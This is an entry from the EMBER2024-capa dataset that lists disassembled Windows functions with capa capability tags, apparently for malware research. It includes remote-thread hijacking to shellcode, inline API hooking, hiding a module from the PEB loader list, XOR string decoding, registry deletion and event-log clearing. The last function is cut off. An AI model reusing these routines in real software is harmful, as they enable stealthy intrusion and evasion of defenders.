joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f7a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push str.LdrLoadDll
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x1000f7c9
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push 0x10d7b350
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [edi]
mov dword [0x10d7b350], eax
mov ax, word [edi + 4]
mov word [0x10d7b354], ax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 6
push 0x10d7b350
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1000f810
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x1001e00c]
xor eax, ebp
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x404]
call fcn.10003380
push 0xc
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x414], 0
push eax
xorps xmm0, xmm0
push 0
movq qword [ebp - 0x41c], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
test eax, eax
jne 0x1000f876
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10013364
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x41c]
xor ecx, ecx
push esi
mov esi, dword [eax + 0x3c]
cmp cx, word [esi + eax + 6]
jae 0x1000f908
push ebx
mov ebx, dword [esi + eax + 0x104]
or edx, 0xffffffff
mov esi, dword [esi + eax + 0x100]
add ebx, eax
mov dword [ebp - 0x410], ebx
mov dword [ebp - 0x40c], esi
push edi
mov edi, ebx
test esi, esi
je 0x1000f8ca
movzx eax, byte [edi]
lea edi, [edi + 1]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ebp + ecx*4 - 0x404]
sub esi, 1
jne 0x1000f8b0
movq xmm0, qword [ebp - 0x410]
lea eax, [ebp - 0x42c]
not edx
mov dword [ebp - 0x42c], ebx
push eax
movq qword [ebp - 0x428], xmm0
mov dword [ebp - 0x420], edx
call fcn.100107a0
push eax
add eax, 0x10
push eax
push ecx
lea eax, [ebp - 0x40c]
push eax
call fcn.100107e0
pop edi
pop ebx
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.10013364
mov esp, ebp
pop ebp
ret
Function at 0x1000f920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x40c
mov eax, dword [0x1001e00c]
xor eax, esp
mov dword [esp + 0x408], eax
push ebx
push esi
push edi
lea ecx, [esp + 0x10]
call fcn.10003380
mov edx, dword [0x10d7b5ec]
mov eax, dword [edx]
cmp eax, edx
je 0x1000f9cb
mov esi, dword [eax + 0x18]
or ebx, 0xffffffff
mov edi, dword [eax + 0x14]
test esi, esi
je 0x1000f97d
nop
movzx ecx, byte [edi]
lea edi, [edi + 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
xor ebx, dword [esp + edx*4 + 0x10]
sub esi, 1
jne 0x1000f960
mov edx, dword [0x10d7b5ec]
not ebx
cmp dword [eax + 0x1c], ebx
jne 0x1000f9e2
cmp byte [eax + 0xd], 0
jne 0x1000f9c7
mov ecx, dword [eax + 8]
cmp byte [ecx + 0xd], 0
jne 0x1000f9ac
mov eax, ecx
mov ecx, dword [eax]
cmp byte [ecx + 0xd], 0
jne 0x1000f9c7
nop dword [eax]
mov eax, ecx
mov ecx, dword [eax]
cmp byte [ecx + 0xd], 0
je 0x1000f9a0
jmp 0x1000f9c7
mov ecx, dword [eax + 4]
cmp byte [ecx + 0xd], 0
jne 0x1000f9c5
cmp eax, dword [ecx + 8]
jne 0x1000f9c5
mov eax, ecx
mov ecx, dword [ecx + 4]
cmp byte [ecx + 0xd], 0
je 0x1000f9b5
mov eax, ecx
cmp eax, edx
jne 0x1000f952
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x408]
xor ecx, esp
call fcn.10013364
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x414]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10013364
mov esp, ebp
pop ebp
ret
Function at 0x10010e10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x1001e00c]
xor eax, esp
mov dword [esp + 0x88], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [esp + 8], eax
push esi
push edi
cmp dword [ebx + 0x18], 0
je 0x10010f83
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
lea eax, [esp + 0x40]
push eax
push dword [ebx + 4]
mov dword [esp + 0x14], esi
call dword [sym.imp.USER32.dll_GetClientRect]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x18]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebx + 0x14]
mov esi, eax
push dword [ebx + 0x10]
push 0
push 0
push dword [esp + 0x2c]
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [ebx + 0x20], 1
jne 0x10010f74
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
mov edi, dword [esp + 0xc]
push eax
push edi
call esi
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
push dword [ebx + 0x120]
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esi, [ebx + 0x21]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10010f00
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, 0x3e
xor ecx, ecx
mov al, byte [ecx + str.P03__1fuxyk]
xor al, dl
mov byte [esp + ecx + 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x29
jb 0x10010f22
lea eax, [esp + 0x14]
mov byte [esp + 0x3d], 0
push eax
push esi
call fcn.10008c30
mov ecx, esi
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10010f52
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0xf
push eax
mov eax, dword [ebx + 0x10]
sub eax, 0xdc
push eax
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10013364
mov esp, ebp
pop ebp
ret 4
Function at 0x10010fa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1001e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ecx + 4], 0
mov edx, 0xc2
mov dword [ecx + 0x1c], str.SPLASH
mov dword [ecx + 0xc], 0
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x1001a1a8]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x10010fd0
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
mov eax, str.lin
lea ecx, [ebp - 0x2c]
sub eax, 0x702b1031
push eax
call fcn.100113b0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x10d7b470], eax
call fcn.10013364
mov esp, ebp
pop ebp
ret
Function at 0x10011070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x1001e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push esi
push edi
mov edi, dword [0x10d7b340]
mov esi, ecx
push eax
push 0xff
lea eax, [esi + 0x21]
mov byte [esi + 0x20], 1
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov eax, dword [ebp + 0x1c]
add esp, 0xc
mov dword [esi + 0x120], eax
mov eax, dword [ebp + 8]
test eax, eax
jne 0x1001110a
mov edx, 0x4c
xor ecx, ecx
nop
mov al, byte [ecx + 0x1001a1d0]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x100110c0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 8], 0
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 6], 0
movq qword [ebp - 0x10], xmm0
jmp 0x100111cb
cmp eax, 1
jne 0x10011163
mov edx, 0x82
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1001a1ec]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x19
jb 0x10011120
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
movups xmmword [ebp - 0x3c], xmm0
movq qword [ebp - 0x2c], xmm0
jmp 0x100111cb
push 0x8bd7acf0
cmp eax, 2
jne 0x1001119d
lea ecx, [ebp - 0x58]
call fcn.10011440
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x40], 0
movups xmmword [ebp - 0x58], xmm0
mov byte [ebp - 0x3e], 0
movq qword [ebp - 0x48], xmm0
jmp 0x100111cb
lea ecx, [ebp - 0x74]
call fcn.10011440
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0
movups xmmword [ebp - 0x74], xmm0
mov byte [ebp - 0x5a], 0
movq qword [ebp - 0x64], xmm0
mov edi, eax
mov eax, dword [esi + 0x18]
test eax, eax
je 0x100111db
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [esi + 0x18], 0
test edi, edi
je 0x10011226
lea eax, [ebp - 0x8c]
mov dword [esi + 0x18], edi
push eax
push 0x18
push edi
call dword [sym.imp.GDI32.dll_GetObjectA]
test eax, eax
jne 0x10011214
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1001120b
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [esi + 0x18], 0
jmp 0x10011226
mov eax, dword [ebp - 0x88]
mov dword [esi + 0x10], eax
mov eax, dword [ebp - 0x84]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 4]
mov dword [esi + 0xc], 0x808080
test eax, eax
je 0x10011267
cmp dword [0x10d7b470], 0
je 0x10011267
push 0xffffffffffffffec
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x10d7b470]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10013364
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10011440
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 9
xor eax, eax
mov dl, byte [edi + eax - 0x7bd60ae8]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x10011451
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10011670
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014a58
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1001e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x10d7b600], 0
je 0x10011717
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x10d7b604]
cmp eax, 0x1388
jbe 0x10011717
push 0x10d7b630
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
je 0x10011717
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10d7b604], eax
test eax, eax
je 0x1001170c
call fcn.100115b0
test al, al
jne 0x1001170c
mov eax, 0x10019b08
lea ecx, [ebp - 0x30]
sub eax, 0x79ddc0fb
push eax
call fcn.10008950
push ecx
push eax
push ecx
mov edx, 2
mov dword [ebp - 4], 0
mov ecx, 0x10128308
call fcn.10011d10
add esp, 0xc
jmp 0x10011717
push 0x10d7b630
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10013364
mov esp, ebp
pop ebp
ret

Function at 0x10011780
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push edi
lea eax, [ebp - 4]
mov ebx, ecx
push eax
push 0x40
push 5
push ebx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [ebx], 0xe9
push eax
push dword [ebp - 4]
sub edi, ebx
push 5
sub edi, 5
push ebx
mov dword [ebx + 1], edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100117c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
lea ecx, [ebp - 4]
mov dword [ebp - 8], eax
push ecx
push 0x40
push ebx
push eax
mov esi, edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push esi
mov esi, dword [ebp - 8]
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10011810
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, ecx
push edi
mov dword [ebp - 4], edx
call esi
mov edi, eax
mov dword [ebp - 8], edi
call esi
sub eax, edi
cmp eax, ebx
jae 0x1001184e
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push dword [ebp - 4]
call edi
call esi
sub eax, dword [ebp - 8]
cmp eax, ebx
jb 0x10011840
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10011860
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014a96
mov eax, dword fs:[0]
push eax
sub esp, 0x650
mov eax, dword [0x1001e00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], edx
mov ebx, ecx
mov eax, dword [0x1001a23c]
mov dword [ebp - 0x1c], eax
mov ax, word [0x1001a240]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x624]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x100119b9
lea esi, [ebp - 0x624]
nop dword [eax + eax]
mov ax, word [esi]
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x224]
push 0x104
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x100119a5
xor eax, eax
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], 0
mov word [ebp - 0x63c], ax
cmp word [ebx], ax
jne 0x1001191b
xor ecx, ecx
jmp 0x1001192f
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10011920
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x63c]
call fcn.10012ec0
mov dword [ebp - 4], 0
cmp word [ebp - 0x224], 0
jne 0x10011951
xor ecx, ecx
jmp 0x1001196f
lea ecx, [ebp - 0x224]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10011960
sub ecx, edx
sar ecx, 1
push ecx
push ecx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x63c]
call fcn.100123a0
mov edi, eax
cmp edi, 0xffffffff
jne 0x100119d7
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x628]
cmp eax, 8
jb 0x100119a5
inc eax
push eax
push dword [ebp - 0x63c]
call fcn.10012d60
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x100119a5
cmp word [esi], ax
jne 0x100118d0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10013364
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x654]
call fcn.10012fc0
mov byte [ebp - 4], 1
cmp word [esi], 0
mov ebx, dword [eax + 0x10]
jne 0x100119fa
xor ecx, ecx
jmp 0x10011a0f
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10011a00
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea eax, [ebx + 1]
push eax
push edi
lea ecx, [ebp - 0x63c]
call fcn.10012480
mov eax, dword [ebp - 0x640]
cmp eax, 8
jb 0x10011a39
inc eax
push eax
push dword [ebp - 0x654]
call fcn.10012d60
cmp dword [ebp - 0x628], 8
lea eax, [ebp - 0x63c]
cmovae eax, dword [ebp - 0x63c]
push eax
push 0x104
push dword [ebp - 0x658]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov eax, dword [ebp - 0x628]
add esp, 0xc
cmp eax, 8
jb 0x10011a7a
inc eax
push eax
push dword [ebp - 0x63c]
call fcn.10012d60
mov al, 1
jmp 0x100119bb
Function at 0x10011b40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x10011bd0
cmp edx, 0x20
jb 0x10011bbb
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10011b79
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x1001a2c0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10011b90
pop edi
cmp eax, edx
jge 0x10011bd0
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10011bc0
pop esi
pop ebx
pop ebp
ret

Function at 0x10011be0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x10011c70
cmp edx, 0x20
jb 0x10011c5b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10011c19
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x1001a2c0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10011c30
pop edi
cmp eax, edx
jge 0x10011c70
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10011c60
pop esi
pop ebx
pop ebp
ret

Function at 0x10011f50
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x10d7b9b8
mov esi, ecx
call sub.VCRUNTIME140.dll_memset
movaps xmm1, xmmword [0x1001a2b0]
add esp, 0xc
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_feeeeeeeeeeeeeeee]
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x100167e0]
pop esi
movups xmm0, xmmword [ecx + eax - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10d7b9b8], xmm0
movups xmm0, xmmword [ecx + eax]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10d7b9c8], xmm0
add eax, 0x20
cmp eax, 0x100
jb 0x10011f81
mov eax, 0x10d7b9b8
ret
Function at 0x100121d0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1001e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov edx, 0xd6
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x2f4], eax
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x1001a260]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x10012200
lea eax, [ebp - 0x18]
mov byte [ebp - 6], 0
push eax
push 0x3f662707
lea ecx, [ebp - 0x24]
call fcn.10012950
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f8]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x2f4]
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], edi
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10013364
mov esp, ebp
pop ebp
ret 0x10

Function at 0x100122f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1001233d
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10012341
cmp edx, esi
jne 0x10012326
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10012361
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10012365
cmp edx, esi
jne 0x1001234a
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10012385
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10012389
cmp edx, esi
jne 0x1001236e
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10013050
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1011e1f8]
sub esp, 8
push esi
mov esi, dword [0x1011e1f4]
cmp esi, eax
je 0x10013135
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edi
cmp byte [esi], 2
jne 0x10013099
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
lea eax, [esi + 1]
push eax
push connect
call ebx
mov edi, dword [ebp - 8]
test edi, edi
jne 0x100130aa
mov eax, dword [0x1011e1f8]
add esi, 0x105
cmp esi, eax
jne 0x10013072
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x1011e1f8]
xor ecx, ecx
mov esi, dword [0x1011e1f4]
mov eax, 0x7d8c42b3
mov dword [ebp - 4], ecx
mov ecx, ebx
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1001311d
xor edi, edi
cmp byte [edi + esi], 2
jne 0x100130f7
lea eax, [esi + 1]
add eax, edi
push eax
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, dword [0x1011e1f8]
mov esi, dword [0x1011e1f4]
inc dword [ebp - 4]
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
add edi, 0x105
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 4], eax
jb 0x100130d4
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
push 0
lea ecx, [edx + 6]
call fcn.10004f20
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4019c2
Capabilities:
Access the windows event log
Clear file content
Clear windows event logs
Get common file path
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push esi
push edi
xor esi, esi
xor edi, edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp edi, 0x45bc085
jg 0x4019eb
inc edi
cmp edi, 0x323bbf1
jl 0x4019d1
cmp dword [0x282843c], 0x400
jne 0x401a2b
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
call dword [sym.imp.USER32.dll_ShowCursor]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call fcn.00401e31
push esi
call fcn.00401fd3
push esi
call fcn.00401fe2
add esp, 0xc
xor edi, edi
cmp edi, 0xd036
jge 0x401a4a
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsI]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
